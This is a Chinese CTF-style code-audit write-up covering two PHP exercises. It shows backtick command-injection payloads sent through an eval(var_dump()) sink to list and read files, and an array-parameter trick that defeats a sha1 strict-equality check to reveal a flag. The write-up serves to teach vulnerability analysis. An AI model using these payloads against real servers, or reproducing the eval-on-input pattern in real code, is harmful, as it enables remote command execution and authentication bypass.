Code-Audit(代码审计)习题记录4-5

4、习题4

题目内容如下:

<?php  
error_reporting(0); 
show_source(__FILE__); 
 
$a = @$_REQUEST['hello']; 
eval("var_dump($a);"); 
函数解释

$REQUEST — HTTP Request 变量,默认情况下包含了 [$GET],[$POST] 和 [$COOKIE]的数组。

var_dump() var_dump() 函数用于输出变量的相关信息。var_dump() 函数显示关于一个或多个表达式的结构信息,包括表达式的类型与值。数组将递归展开值,通过缩进显示其结构。

eval() 函数把字符串当作php 代码来执行

代码分析

总的来说就是eval函数来执行命令,从而获取flag。但是var_dump() 函数执行后,无法被eval函数当作php代码执行,因此,需要在var_dump() 函数执行的之后,就完成类似于 whoami这样的命令执行。

理解测试:

执行下面的代码,会直接打印字符

php -r "eval(var_dump('whoami'));" 

但是 反引号位 (`) 是可以执行命令的

因此执行下面代码,会输出root 等用户名

php -r "eval(var_dump(`whoami`));"

所以可以构造执行命令,查找当前含有flag 的文件,然后读物文件来获取flag

构造ls命令,获取当前目录文件 index.php和lib.php

?hello=`ls`

读取 lib.php 文件的内容

?hello=`cat lib.php`

显示内容长度为41,但是没有看到内容,右键查看源代码,得到flag ,原来是被注释掉了

 

flag{yczxtsadjadljada}

使用tac 命令,可以直接输出flag

 5、习题5

题目内容如下

 

代码如下:

<?php 
if (isset($_GET['name']) and isset($_GET['password'])) { 
    if ($_GET['name'] == $_GET['password']) 
        echo '<p>Your password can not be your name!</p>'; 
    else if (sha1($_GET['name']) === sha1($_GET['password'])) 
      die('Flag: '.$flag); 
    else 
        echo '<p>Invalid password.</p>'; 
} 
else{ 
	echo '<p>Login first!</p>'; 
?>

经过代码分析,可以知道,首先GET 传入两个值,一个name 另一个password 首先就是这两个参数的值不一样,不然$GET['name'] == $GET['password'] 就会报错,接着,name和password 的sha1 的值要相等,并且这个相等采用了 === ,即不能采用弱类型比较===只有在相同类型下,才会比较其值。这样满足条件后,才能输出flag

函数解释:

die() 函数输出一条消息,并退出当前脚本。该函数是exit()函数的别名。

有意思的是 sha1不能处理数组,构造paylaod

 name[]=1&password[]=2

当我们传入name[]=1&password[]=2时,会造成sha1(Array) === sha1(Array),即NULL===NULL,从而吐出flag

Flag: flag{tczdaljdasnqw}

 

相关推荐

  1. Code Review(代码审查

    2024-02-22 08:30:05       38 阅读
  2. linux审计功能及规则 (audit.rule)

    2024-02-22 08:30:05       58 阅读
  3. Spring Data访问Elasticsearch----Elasticsearch审计Auditing

    2024-02-22 08:30:05       44 阅读
  4. Audio Signal (MATLAB)代码学习——常见问题4

    2024-02-22 08:30:05       46 阅读
  5. Code Review是什么?怎么进行代码审查

    2024-02-22 08:30:05       51 阅读

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-02-22 08:30:05       94 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-02-22 08:30:05       100 阅读
  3. 在Django里面运行非项目文件

    2024-02-22 08:30:05       82 阅读
  4. Python语言-面向对象

    2024-02-22 08:30:05       91 阅读

热门阅读

  1. 蓝桥杯刷题--python-10(2023填空题3)

    2024-02-22 08:30:05       58 阅读
  2. docker搭建Postgresql主备集群

    2024-02-22 08:30:05       54 阅读
  3. js设计模式汇总

    2024-02-22 08:30:05       47 阅读
  4. 突破编程_C++_面试(数组(1))

    2024-02-22 08:30:05       48 阅读
  5. 嵌入式24——IO

    2024-02-22 08:30:05       52 阅读
  6. 计算机网络--物理层练习题

    2024-02-22 08:30:05       47 阅读
  7. MySQL中的高级查询

    2024-02-22 08:30:05       35 阅读
  8. mysql binlog

    2024-02-22 08:30:05       48 阅读
  9. el-date-picker(日期时间选择)那些事

    2024-02-22 08:30:05       51 阅读